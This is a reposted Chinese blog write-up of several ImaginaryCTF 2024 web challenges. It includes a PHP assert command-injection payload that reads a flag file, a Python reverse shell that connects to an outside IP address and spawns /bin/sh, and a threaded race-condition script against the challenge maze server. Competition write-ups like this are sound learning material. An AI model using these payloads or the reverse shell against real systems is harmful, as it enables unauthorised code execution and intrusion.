首页 > 其他分享 >【Web】ImaginaryCTF 2024 部分题解

【Web】ImaginaryCTF 2024 部分题解

时间:2024-07-22 14:54:06浏览次数:10  
标签:Web 题解 move 2024 threading threads direction2 maze id

目录

journal

crystals

P2C

readme

The Amazing Race


journal

简单的assert命令拼接

payload:

?file=test','..') === true || system("echo `tac /flag-cARdaInFg6dD10uWQQgm.txt`") || strpos('test

crystals

docker-compose.yml里

让服务报错读到泄露的hostname

payload:

/{0x401}

P2C

后端直接运行我们提供的代码

直接反弹shell

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("124.222.136.33",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

 

readme

题目设计不能读目录下的已有文件

用非断空格绕过

The Amazing Race

先输入left,right

再输入up,down

脚本里direction1是竞争获取canmove,direction2是目标方向

import requests
import threading
import re
import time

# 设置服务器URL
url = "http://the-amazing-race.chal.imaginaryctf.org"
move_url = url + "/move"

found = threading.Event()

# 设置迷宫大小
MAZE_SIZE = 35

def move(maze_id, direction):
    response = requests.post(move_url, params={"id": maze_id, "move": direction})
    time.sleep(0.1)
    return response

def break_wall(maze_id, direction1, direction2):
    attempt = 0
    while not found.is_set():
        threads = []
        threads.append(threading.Thread(target=move, args=(maze_id, direction1)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))
        threads.append(threading.Thread(target=move, args=(maze_id, direction2)))

        for thread in threads:
            thread.start()
        
        for thread in threads:
            thread.join()

        attempt += 1
        print(f"Attempt {attempt}", flush=True)

def get_maze(maze_id):
    try:
        response = requests.get(f"{url}/{maze_id}")
        if response.status_code == 200:
            maze_match = re.search(r"<code>(.*?)</code>", response.text, re.DOTALL)
            if maze_match:
                return maze_match.group(1)
    except Exception as e:
        print(f"Error in get_maze: {e}", flush=True)
    return ""

if __name__ == "__main__":
    maze_id = input("Enter maze_id: ").strip()
    direction1 = input("Enter first direction (left or up): ").strip()
    direction2 = input("Enter second direction (right or down): ").strip()
    if direction1 in ["left", "up"] and direction2 in ["right", "down"]:
        break_wall(maze_id, direction1, direction2)
    else:
        print("Invalid direction. Please enter 'left' or 'up' for the first direction, and 'right' or 'down' for the second direction.")

标签:Web,题解,move,2024,threading,threads,direction2,maze,id
From: https://blog.csdn.net/uuzeray/article/details/140572968

相关文章

  • 2024.7.20 test
    A你要求\([L,R]\)里面有多少数\(x\)满足\(x\)十进制下数码的种类数为\(A\)。\(L\leR\le10^{2\times10^5}\)。如果我们直接数位dp,状态多记一维表示当前出现的数码种类集合,会导致超时且超空间。我们发现如果没有最高位限制,即随便填\(m\)个数,满足出现的种类为\(A\),......
  • 2024.7.22 test
    A你有序列\(A_i\),使得\(A_i\)增加\(1\)的代价是\(b_i\),问使得所有\(A\)互不相同的最小代价。\(n\le1e5,A_i\le1e9\)对于\(A_i\)相同的,取\(B_i\)最大的留下,剩下的都\(+1\),跟后面的继续比较。B你要求所有边\(or\)起来最小的生成树,\(q\)次询问,每次新加入一条权......
  • NOI2024 游记
    前言菜,真的太菜啦。\(\texttt{Day0}\)热,热,热,真的汗流浃背了。入住。西西弗,回答我,是不是\(20000\)元的\(\texttt{D}\)类报的人越多你给的宿舍条件越好啊啊喂。甚至发了一堆衣服包包和生活用品,真是太"感动了"。晚餐。迎面而来的蛋炒饭吸引了我的眼球,这东西我每天吃,吃一......
  • 题解:牛客周赛 Round 52 A
    A两数之和时间限制:C/C++1秒,其他语言2秒空间限制:C/C++262144K,其他语言524288KSpecialJudge,64bitIOFormat:%lld题目描述对于给定的正整数\(z\),你需要寻找两个不同的正整数\(x\)和\(y\),使得\(x+y=z\)成立。如果不存在这样的\(x\)和\(y\),你只需要输出NO。......
  • 【浙江工业大学主办,ACM独立出版,已连续举办六届 | 往届均已见刊并成功实现EI Compendex
    第七届计算机信息科学与人工智能国际学术会议(CISAI2024)将于2024年09月6-8日在中国浙江-绍兴举行。计算机信息科学与人工智能国际学术会议的主题主要围绕“信息科学”与“人工智能”的新研究展开。20247th InternationalConferenceonComputerInformationSciencea......
  • 2024-07-22 如何让宽度和高度一致(flex布局)
    <template><divclass="demo-container"><divclass="demo-item"><divclass="demo-title">方向指示类图标</div><divclass="demo-content">......
  • 【2024-07-21】连岳摘抄
    23:59让我们保持勇气,试着学会忍受与宽大。                                                 ——梵高你说自己慕强。这是女性择偶的本能,不奇怪。但是慕强也会带来不......
  • ABC363 DEF 题解
    ABC363DEF题解前情提要:赛时过了ABCE。D-PalindromicNumber题目链接其实赛时已经看出了一些性质,但没想完做法,赛后看题解才发现这么简单/fn首先,为了方便,我们不把\(0\)视作回文数(因此需要特判一下\(n=1\)的情况)。下面要证明:\(d\)位回文数有\(10^{\left\lfloor\f......
  • 信阳市人民政府 关于公布农业产业化市重点龙头企业名单的通知 信政〔2024〕1号
    附件:农业产业化市重点龙头企业名单农业产业化市重点龙头企业名单一、浉河区1信阳市广义茶叶有限公司2信阳天之润茶业有限公司3信阳市大别山佳茗茶文化有限公司4信阳市翔鸽岭农业技术发展有限公司5信阳市德茗茶叶有限公司6信阳市发扬茶业有限公司7河南龙轩......
  • 【2024-07-19】何太羊了
    20:00乐观主义是追寻生命意义和幸福的法宝。乐观的心态能够帮助个人用更加客观的视角看待生活,并清醒理智地面对真实的人生,从而获得解脱,实现超越。                                        ......